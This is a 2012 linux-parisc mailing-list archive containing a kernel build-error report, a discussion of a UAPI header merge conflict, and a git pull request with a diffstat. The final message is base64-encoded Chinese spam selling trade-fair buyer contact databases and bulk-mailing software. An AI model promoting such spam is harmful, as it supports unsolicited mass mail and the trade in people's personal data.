drivers/mfd/htc-i2cpld.c:463:11: error: dereferencing pointer to incomplete type
drivers/mfd/htc-i2cpld.c:464:11: error: dereferencing pointer to incomplete type
drivers/mfd/htc-i2cpld.c:465:11: error: dereferencing pointer to incomplete type
drivers/mfd/htc-i2cpld.c:468:11: error: dereferencing pointer to incomplete type
drivers/mfd/htc-i2cpld.c:469:11: error: dereferencing pointer to incomplete type
drivers/mfd/htc-i2cpld.c:470:11: error: dereferencing pointer to incomplete type
drivers/mfd/htc-i2cpld.c:471:11: error: dereferencing pointer to incomplete type
drivers/mfd/htc-i2cpld.c:472:11: error: dereferencing pointer to incomplete type
drivers/mfd/htc-i2cpld.c:473:11: error: dereferencing pointer to incomplete type
drivers/mfd/htc-i2cpld.c:474:11: error: dereferencing pointer to incomplete type
drivers/mfd/htc-i2cpld.c:475:11: error: dereferencing pointer to incomplete type
drivers/mfd/htc-i2cpld.c:476:11: error: dereferencing pointer to incomplete type
drivers/mfd/htc-i2cpld.c:477:11: error: dereferencing pointer to incomplete type
drivers/mfd/htc-i2cpld.c:480:2: error: implicit declaration of function 'gpiochip_add' [-Werror=implicit-function-declaration]
drivers/mfd/htc-i2cpld.c:494:3: error: implicit declaration of function 'gpiochip_remove' [-Werror=implicit-function-declaration]
cc1: some warnings being treated as errors
--
drivers/mfd/tps65010.c:91:19: error: field 'chip' has incomplete type
drivers/mfd/tps65010.c: In function 'tps65010_output':
drivers/mfd/tps65010.c:479:9: warning: initialization from incompatible pointer type [enabled by default]
drivers/mfd/tps65010.c: In function 'tps65010_gpio_get':
drivers/mfd/tps65010.c:496:8: warning: initialization from incompatible pointer type [enabled by default]
drivers/mfd/tps65010.c: In function 'tps65010_probe':
drivers/mfd/tps65010.c:654:3: error: implicit declaration of function 'gpiochip_add' [-Werror=implicit-function-declaration]
cc1: some warnings being treated as errors
--
In file included from drivers/mfd/ucb1400_core.c:26:0:
include/linux/ucb1400.h:93:19: error: field 'gc' has incomplete type
--
In file included from drivers/mfd/timberdale.c:39:0:
include/linux/spi/max7301.h:15:19: error: field 'chip' has incomplete type

vim +301 include/linux/mfd/tps65912.h

36e52873 Margarita Olaya 2011-06-09  285  
36e52873 Margarita Olaya 2011-06-09  286  struct tps65912 {
36e52873 Margarita Olaya 2011-06-09  287  	struct device *dev;
36e52873 Margarita Olaya 2011-06-09  288  	/* for read/write acces */
36e52873 Margarita Olaya 2011-06-09  289  	struct mutex io_mutex;
36e52873 Margarita Olaya 2011-06-09  290  
36e52873 Margarita Olaya 2011-06-09  291  	/* For device IO interfaces: I2C or SPI */
36e52873 Margarita Olaya 2011-06-09  292  	void *control_data;
36e52873 Margarita Olaya 2011-06-09  293  
36e52873 Margarita Olaya 2011-06-09  294  	int (*read)(struct tps65912 *tps65912, u8 reg, int size, void *dest);
36e52873 Margarita Olaya 2011-06-09  295  	int (*write)(struct tps65912 *tps65912, u8 reg, int size, void *src);
36e52873 Margarita Olaya 2011-06-09  296  
36e52873 Margarita Olaya 2011-06-09  297  	/* Client devices */
36e52873 Margarita Olaya 2011-06-09  298  	struct tps65912_pmic *pmic;
36e52873 Margarita Olaya 2011-06-09  299  
36e52873 Margarita Olaya 2011-06-09  300  	/* GPIO Handling */
36e52873 Margarita Olaya 2011-06-09 @301  	struct gpio_chip gpio;
36e52873 Margarita Olaya 2011-06-09  302  
36e52873 Margarita Olaya 2011-06-09  303  	/* IRQ Handling */
36e52873 Margarita Olaya 2011-06-09  304  	struct mutex irq_lock;
36e52873 Margarita Olaya 2011-06-09  305  	int chip_irq;
36e52873 Margarita Olaya 2011-06-09  306  	int irq_base;
36e52873 Margarita Olaya 2011-06-09  307  	int irq_num;
36e52873 Margarita Olaya 2011-06-09  308  	u32 irq_mask;
36e52873 Margarita Olaya 2011-06-09  309  };

The code at line 301 was first introduced by commit:
36e5287 mfd: tps65912: Add new mfd device


---
0-DAY kernel build testing backend         Open Source Technology Center
Fengguang Wu, Yuanhan Liu                              Intel Corporation
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] Disintegrate UAPI for parisc [ver #2]
Date: Tue, 16 Oct 2012 11:48:56 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <1350413336.8077.6.camel@dabdike>
References: <21164.1349774145@warthog.procyon.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1350413341 12341 80.91.229.3 (16 Oct 2012 18:49:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 16 Oct 2012 18:49:01 +0000 (UTC)
Cc: jejb@parisc-linux.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: David Howells <dhowells@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 16 20:49:08 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TOCCQ-0005an-4k
	for glpp-linux-parisc@plane.gmane.org; Tue, 16 Oct 2012 20:49:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755825Ab2JPSs6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 16 Oct 2012 14:48:58 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:36253 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755161Ab2JPSs6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 16 Oct 2012 14:48:58 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 4F0D78EE0E4;
	Tue, 16 Oct 2012 11:48:57 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id iUZKwjQGHH_L; Tue, 16 Oct 2012 11:48:57 -0700 (PDT)
Original-Received: from [172.20.27.218] (unknown [12.216.224.66])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id DE5A68EE0DC;
	Tue, 16 Oct 2012 11:48:56 -0700 (PDT)
In-Reply-To: <21164.1349774145@warthog.procyon.org.uk>
X-Mailer: Evolution 3.4.4 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4634 gmane.linux.kernel:1376611
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4634>

On Tue, 2012-10-09 at 10:15 +0100, David Howells wrote:
> Can you merge the following branch into the parisc tree please.
> 
> This is to complete part of the UAPI disintegration for which the preparatory
> patches were pulled recently.
> 
> Now that the fixups and the asm-generic chunk have been merged, I've
> regenerated the patches to get rid of those dependencies and to take account of
> any changes made so far in the merge window.  If you have already pulled the
> older version of the branch aimed at you, then please feel free to ignore this
> request.
> 
> The following changes since commit 9e2d8656f5e8aa214e66b462680cf86b210b74a8:

I'm getting a fairly massive merge failure over our misc tree:

git://git.kernel.org/pub/scm/linux/kernel/git/jejb/parisc-2.0 misc

It looks like a conflict with the motion to using wrappered Kbuild for
our asm-generic clones.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] Disintegrate UAPI for parisc [ver #2]
Date: Tue, 16 Oct 2012 20:08:06 +0100
Organization: Red Hat UK Ltd. Registered Address: Red Hat UK Ltd, Amberley
	Place, 107-111 Peascod Street, Windsor, Berkshire, SI4 1TE, United
	Kingdom.
	Registered in England and Wales under Company Registration No. 3798903
Lines: 17
Approved: news@gmane.org
Message-ID: <31900.1350414486@warthog.procyon.org.uk>
References: <1350413336.8077.6.camel@dabdike> <21164.1349774145@warthog.procyon.org.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1350414514 22854 80.91.229.3 (16 Oct 2012 19:08:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 16 Oct 2012 19:08:34 +0000 (UTC)
Cc: dhowells@redhat.com, jejb@parisc-linux.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 16 21:08:41 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TOCVM-0002lv-4Z
	for glpp-linux-parisc@plane.gmane.org; Tue, 16 Oct 2012 21:08:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754526Ab2JPTId (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 16 Oct 2012 15:08:33 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:4807 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753123Ab2JPTIc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 16 Oct 2012 15:08:32 -0400
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q9GJ89JF028561
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Tue, 16 Oct 2012 15:08:09 -0400
Original-Received: from warthog.procyon.org.uk (ovpn-113-58.phx2.redhat.com [10.3.113.58])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id q9GJ87NN012363;
	Tue, 16 Oct 2012 15:08:07 -0400
In-Reply-To: <1350413336.8077.6.camel@dabdike>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4635 gmane.linux.kernel:1376624
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4635>

James Bottomley <James.Bottomley@HansenPartnership.com> wrote:

> I'm getting a fairly massive merge failure over our misc tree:
> 
> git://git.kernel.org/pub/scm/linux/kernel/git/jejb/parisc-2.0 misc
> 
> It looks like a conflict with the motion to using wrappered Kbuild for
> our asm-generic clones.

I can try merging your branch in and then disintegrating on top of that.

David
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] Disintegrate UAPI for parisc [ver #3]
Date: Tue, 16 Oct 2012 21:40:04 +0100
Organization: Red Hat UK Ltd. Registered Address: Red Hat UK Ltd, Amberley
	Place, 107-111 Peascod Street, Windsor, Berkshire, SI4 1TE, United
	Kingdom.
	Registered in England and Wales under Company Registration No. 3798903
Lines: 155
Approved: news@gmane.org
Message-ID: <5423.1350420004@warthog.procyon.org.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1350420042 7164 80.91.229.3 (16 Oct 2012 20:40:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 16 Oct 2012 20:40:42 +0000 (UTC)
Cc: dhowells@redhat.com, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: jejb@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 16 22:40:48 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TODwV-00038H-Ft
	for glpp-linux-parisc@plane.gmane.org; Tue, 16 Oct 2012 22:40:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754190Ab2JPUkk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 16 Oct 2012 16:40:40 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:55211 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752333Ab2JPUkj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 16 Oct 2012 16:40:39 -0400
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q9GKeFFo014034
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Tue, 16 Oct 2012 16:40:16 -0400
Original-Received: from warthog.procyon.org.uk (ovpn-113-58.phx2.redhat.com [10.3.113.58])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id q9GKe4u5028749;
	Tue, 16 Oct 2012 16:40:07 -0400
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4636 gmane.linux.kernel:1376670
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4636>


Hi James,

I've regenerated the parisc bits on top of your misc branch merged onto
Linus's master branch.  Below is the revised pull request.

David
---
Can you merge the following branch into the parisc tree please?

This is to complete part of the UAPI disintegration for which the preparatory
patches were pulled recently.

Now that the fixups and the asm-generic chunk have been merged, I've
regenerated the patches to get rid of those dependencies and to take account of
any changes made so far in the merge window.  If you have already pulled the
older version of the branch aimed at you, then please feel free to ignore this
request.

The following changes since commit dd8e8c4a2c902d8350b702e7bc7c2799e5e7e331:

  thermal, cpufreq: Fix build when CPU_FREQ_TABLE isn't configured (2012-10-15 14:00:07 -0700)

are available in the git repository at:

  git://git.infradead.org/users/dhowells/linux-headers.git tags/disintegrate-parisc-20121016

for you to fetch changes up to 70c1674f62026e455c0c821fb7f4baf24d2d1139:

  UAPI: (Scripted) Disintegrate arch/parisc/include/asm (2012-10-16 21:28:05 +0100)

----------------------------------------------------------------
UAPI Disintegration 2012-10-16

----------------------------------------------------------------
David Howells (2):
      Merge branch 'misc' of git://git.kernel.org/.../jejb/parisc-2.6.git/
      UAPI: (Scripted) Disintegrate arch/parisc/include/asm

James Bottomley (1):
      [PARISC] asm: redo generic includes

 arch/parisc/include/asm/Kbuild                   |   9 +-
 arch/parisc/include/asm/auxvec.h                 |   4 -
 arch/parisc/include/asm/compat_signal.h          |   2 -
 arch/parisc/include/asm/cputime.h                |   6 -
 arch/parisc/include/asm/device.h                 |   7 -
 arch/parisc/include/asm/div64.h                  |   1 -
 arch/parisc/include/asm/emergency-restart.h      |   6 -
 arch/parisc/include/asm/hw_irq.h                 |   8 -
 arch/parisc/include/asm/irq_regs.h               |   1 -
 arch/parisc/include/asm/kdebug.h                 |   1 -
 arch/parisc/include/asm/kvm_para.h               |   1 -
 arch/parisc/include/asm/local.h                  |   1 -
 arch/parisc/include/asm/local64.h                |   1 -
 arch/parisc/include/asm/mutex.h                  |   9 -
 arch/parisc/include/asm/param.h                  |   1 -
 arch/parisc/include/asm/pdc.h                    | 423 +-----------
 arch/parisc/include/asm/percpu.h                 |   7 -
 arch/parisc/include/asm/poll.h                   |   1 -
 arch/parisc/include/asm/ptrace.h                 |  46 +-
 arch/parisc/include/asm/real.h                   |   5 -
 arch/parisc/include/asm/segment.h                |   6 -
 arch/parisc/include/asm/signal.h                 | 113 +--
 arch/parisc/include/asm/termios.h                |  41 +-
 arch/parisc/include/asm/topology.h               |   6 -
 arch/parisc/include/asm/unistd.h                 | 835 +---------------------
 arch/parisc/include/asm/user.h                   |   5 -
 arch/parisc/include/asm/vga.h                    |   6 -
 arch/parisc/include/asm/xor.h                    |   1 -
 arch/parisc/include/uapi/asm/Kbuild              |  28 +
 arch/parisc/include/{ => uapi}/asm/bitsperlong.h |   0
 arch/parisc/include/{ => uapi}/asm/byteorder.h   |   0
 arch/parisc/include/{ => uapi}/asm/errno.h       |   0
 arch/parisc/include/{ => uapi}/asm/fcntl.h       |   0
 arch/parisc/include/{ => uapi}/asm/ioctl.h       |   0
 arch/parisc/include/{ => uapi}/asm/ioctls.h      |   0
 arch/parisc/include/{ => uapi}/asm/ipcbuf.h      |   0
 arch/parisc/include/{ => uapi}/asm/mman.h        |   0
 arch/parisc/include/{ => uapi}/asm/msgbuf.h      |   0
 arch/parisc/include/uapi/asm/pdc.h               | 427 ++++++++++++
 arch/parisc/include/{ => uapi}/asm/posix_types.h |   0
 arch/parisc/include/uapi/asm/ptrace.h            |  47 ++
 arch/parisc/include/{ => uapi}/asm/resource.h    |   0
 arch/parisc/include/{ => uapi}/asm/sembuf.h      |   0
 arch/parisc/include/{ => uapi}/asm/setup.h       |   0
 arch/parisc/include/{ => uapi}/asm/shmbuf.h      |   0
 arch/parisc/include/{ => uapi}/asm/sigcontext.h  |   0
 arch/parisc/include/{ => uapi}/asm/siginfo.h     |   0
 arch/parisc/include/uapi/asm/signal.h            | 118 ++++
 arch/parisc/include/{ => uapi}/asm/socket.h      |   0
 arch/parisc/include/{ => uapi}/asm/sockios.h     |   0
 arch/parisc/include/{ => uapi}/asm/stat.h        |   0
 arch/parisc/include/{ => uapi}/asm/statfs.h      |   0
 arch/parisc/include/{ => uapi}/asm/swab.h        |   0
 arch/parisc/include/{ => uapi}/asm/termbits.h    |   0
 arch/parisc/include/uapi/asm/termios.h           |  43 ++
 arch/parisc/include/{ => uapi}/asm/types.h       |   0
 arch/parisc/include/uapi/asm/unistd.h            | 837 +++++++++++++++++++++++
 57 files changed, 1511 insertions(+), 1542 deletions(-)
 delete mode 100644 arch/parisc/include/asm/auxvec.h
 delete mode 100644 arch/parisc/include/asm/compat_signal.h
 delete mode 100644 arch/parisc/include/asm/cputime.h
 delete mode 100644 arch/parisc/include/asm/device.h
 delete mode 100644 arch/parisc/include/asm/div64.h
 delete mode 100644 arch/parisc/include/asm/emergency-restart.h
 delete mode 100644 arch/parisc/include/asm/hw_irq.h
 delete mode 100644 arch/parisc/include/asm/irq_regs.h
 delete mode 100644 arch/parisc/include/asm/kdebug.h
 delete mode 100644 arch/parisc/include/asm/kvm_para.h
 delete mode 100644 arch/parisc/include/asm/local.h
 delete mode 100644 arch/parisc/include/asm/local64.h
 delete mode 100644 arch/parisc/include/asm/mutex.h
 delete mode 100644 arch/parisc/include/asm/param.h
 delete mode 100644 arch/parisc/include/asm/percpu.h
 delete mode 100644 arch/parisc/include/asm/poll.h
 delete mode 100644 arch/parisc/include/asm/real.h
 delete mode 100644 arch/parisc/include/asm/segment.h
 delete mode 100644 arch/parisc/include/asm/topology.h
 delete mode 100644 arch/parisc/include/asm/user.h
 delete mode 100644 arch/parisc/include/asm/vga.h
 delete mode 100644 arch/parisc/include/asm/xor.h
 rename arch/parisc/include/{ => uapi}/asm/bitsperlong.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/byteorder.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/errno.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/fcntl.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/ioctl.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/ioctls.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/ipcbuf.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/mman.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/msgbuf.h (100%)
 create mode 100644 arch/parisc/include/uapi/asm/pdc.h
 rename arch/parisc/include/{ => uapi}/asm/posix_types.h (100%)
 create mode 100644 arch/parisc/include/uapi/asm/ptrace.h
 rename arch/parisc/include/{ => uapi}/asm/resource.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/sembuf.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/setup.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/shmbuf.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/sigcontext.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/siginfo.h (100%)
 create mode 100644 arch/parisc/include/uapi/asm/signal.h
 rename arch/parisc/include/{ => uapi}/asm/socket.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/sockios.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/stat.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/statfs.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/swab.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/termbits.h (100%)
 create mode 100644 arch/parisc/include/uapi/asm/termios.h
 rename arch/parisc/include/{ => uapi}/asm/types.h (100%)
 create mode 100644 arch/parisc/include/uapi/asm/unistd.h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?utf-8?B?5q+P5aSp5LuFMTDlhYM=?= <admin@shiwuyou.com>
Newsgroups: gmane.linux.ports.parisc
Subject: =?utf-8?B?MjAxMuaYpeWtozExMeWxiuW5v+S6pOS8muS5sOWutu+8jEIyQuivog==?=
	=?utf-8?B?55uY5Lmw5a6244CBdGhvbWFzbmV0IOmHh+i0reWVhizmtbflhbM=?=
	=?utf-8?B?5pWw5o2uLOe+pOWPkei9r+S7tu+8jOWxleS8muS5sOWutiDku4UzMDDlhYMh?=
Date: Wed, 17 Oct 2012 10:58:37 +0000 (UTC)
Lines: 51
Approved: news@gmane.org
Message-ID: <20191017181843643135@shiwuyou.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1350471517 5982 80.91.229.3 (17 Oct 2012 10:58:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 17 Oct 2012 10:58:37 +0000 (UTC)
To: <donsbarnwood@gmail.com>, <linux-parisc@vger.kernel.org>,
	<info@ektaindustries.co.in>, <ohare5948@aol.com>,
	<info@sanaullah.com>, <suzals3@gmail.com>, <rossbeecher@msn.com>,
	<deniseschijvenaars@msn.com>, <lilpinkpetals@gmail.com>,
	<jianle2005@hotmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 17 12:58:42 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TORKj-0000sD-CU
	for glpp-linux-parisc@plane.gmane.org; Wed, 17 Oct 2012 12:58:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754954Ab2JQK6e (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Oct 2012 06:58:34 -0400
Original-Received: from [112.65.243.170] ([112.65.243.170]:3013 "HELO shiwuyou.com"
	rhost-flags-FAIL-FAIL-OK-FAIL) by vger.kernel.org with SMTP
	id S1751132Ab2JQK6d (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Oct 2012 06:58:33 -0400
Original-Received: from [119.59.160.28]; Wed, 17 Oct 2012 18:30:04 +0800
Original-Date: Thu, 17 Oct 2019 18:18:36 +0800
X-mailer: Ntytnvtmr 2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4637
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4637>

MjAxMuaYpeWtozExMeWxiuW5v+S6pOS8muS5sOWutu+8jOa1t+WFs+aVsOaNruaPkOWNlXBpZXJz
54mI77yMMjAwOC0yMDEy5bm0OeWxiuW5v+S6pOS8muaVsOaNruOAgg0KDQrkuIDlhbExMOS4quWM
hSjmlbDmja7mmK/lhajooYzkuJrnmoTvvIzlj6/ku6XmjInnhaflhbPplK7or43mj5Dlj5blh7rm
naXnmoQp77yaIA0KMe+8jDIwMTLmmKXlraMxMTHlsYrlub/kuqTkvJrkubDlrrbnjrDlnLror6Ln
m5jmlbDmja7lupPmlrDpspzlh7rngonvvIzotoXnuqfmlrDpspzkubDlrrbvvIzmlrDpspzmlbDm
ja7vvIzlrrnmmJPmiJDljZXvvIEgDQoy77yM6LSt5Lmw5ZCO5Y+v5Lul5YWN6LS55pu05pawMjAx
Mueni+Wto+W5v+S6pOS8muS5sOWutuaVsOaNruOAguWkqui2heWAvOS6huOAgg0KM++8jDIwMTLm
nIDmlrDlhajnkIPlsZXkvJrnjrDlnLrkubDlrrblupMo5LiO6LS45Y+R5ZCM5q2lKSzlhbE0NuS4
h+adoeaVsOaNruOAgiAo5oyJ54Wn6KGM5Lia5YiG57G7KQ0KNO+8jDIwMTEsMjAxMOW5tCwyMDA5
5bm0LDIwMDjlubQg5pil5a2jK+eni+Wto+W5v+S6pOS8muS5sOWutuWQjeW9le+8jDEwMyAxMDQg
MTA1IDEwNiAxMDcgMTA4LDEwOSwxMTAg5YWx5YWt5bGKIOWFsTEyMC425LiH5pWw5o2u44CCDQo1
77yMNDguNjjkuIfmnaHmnIDmlrDkubDlrrbor6Lnm5jvvIzpg73luKbmnIlFbWFpbO+8jOacgOac
ieS7t+WAvOeahOivouebmOOAgg0KNu+8jDIwMTHmnIDmlrAgQjJCIOiLseaWh+WbvemZheermTYw
5LiH5bim6IGU57uc5pa55byP6K+i55uYIOacgOacieS7t+WAvOivouebmOS5i+S4gC4NCjfvvIwy
MDEw5rW35YWz5o+Q5Y2VcGllcnPniYgxMDAw5LiH5pWw5o2uLg0KOO+8jDIwMTHlubTliLDpppnm
uK/ph4fotK3nmoTlm73lpJblrqLkurrlkI3lvZUo6aaZ5riv6LS45Y+R5bGA5o+Q5L6bKe+8jOi2
hee6p+mHjeimgeeahOS5sOWutuOAgg0KOe+8jDIwMTHlubTmlrDlop7liqDnmoQt576O5Zu9QjJC
IHRob21hc25ldCDph4fotK3llYblkI3ljZXjgIINCjEw77yM576k5Y+R6L2v5Lu25a6J6KOF5LiO
6YOo572y5pyN5Yqh44CCDQoNCui/meS6m+WFqOacie+8jOWFsTEyODDkuIcg5pWw5o2u44CCDQoN
CiANCuimgeeahOaKk+e0p+iBlOezu1FROiA0NjAxMjI2NDEg5oiW6ICF56uL5Y2z5Zue5aSN6YKu
566xOiA0NjAxMjI2NDFAcXEuY29tDQropoHnmoTmipPntKfogZTns7tRUTogNDYwMTIyNjQxIOaI
luiAheeri+WNs+WbnuWkjemCrueusTogNDYwMTIyNjQxQHFxLmNvbQ0K6KaB55qE5oqT57Sn6IGU
57O7UVE6IDQ2MDEyMjY0MSDmiJbogIXnq4vljbPlm57lpI3pgq7nrrE6IDQ2MDEyMjY0MUBxcS5j
b20NCg0K6K+a5L+h5Li65pys77yM5aaC5p6c5LiN5L+h5Lu75pys5Lq6LOWPr+S7pei1sOa3mOWu
neS6pOaYkyzmlLbliLDmlbDmja7pqozor4Ez5aSp5ZCO5YaN5LuY5qy+LOi/meaYr+WvueaCqOac
gOWlveeahOS/nemanOS6huOAgiANCg0KDQoNCuWwj+aKgOW3p++8miANCuaKijUwMOS4h+S5sOWu
tue+pOWPkeS7peS4gOmBje+8jOWdh+S8muacieaVsOWNg+S4quWbnuWkjeeahO+8jOi/meS6m+Ww
seaYr+mdnuW4uOmrmOi0qOmHj+eahOS5sOWutuOAgiANCuS9v+eUqOaIkeS7rOmAgeeahOe+pOWP
kei9r+S7tu+8jDEtMuWRqOWwseWPr+WujOWFqOWPkeWujOOAgg0KDQoNCg0KDQoNCuW5v+S6pOS8
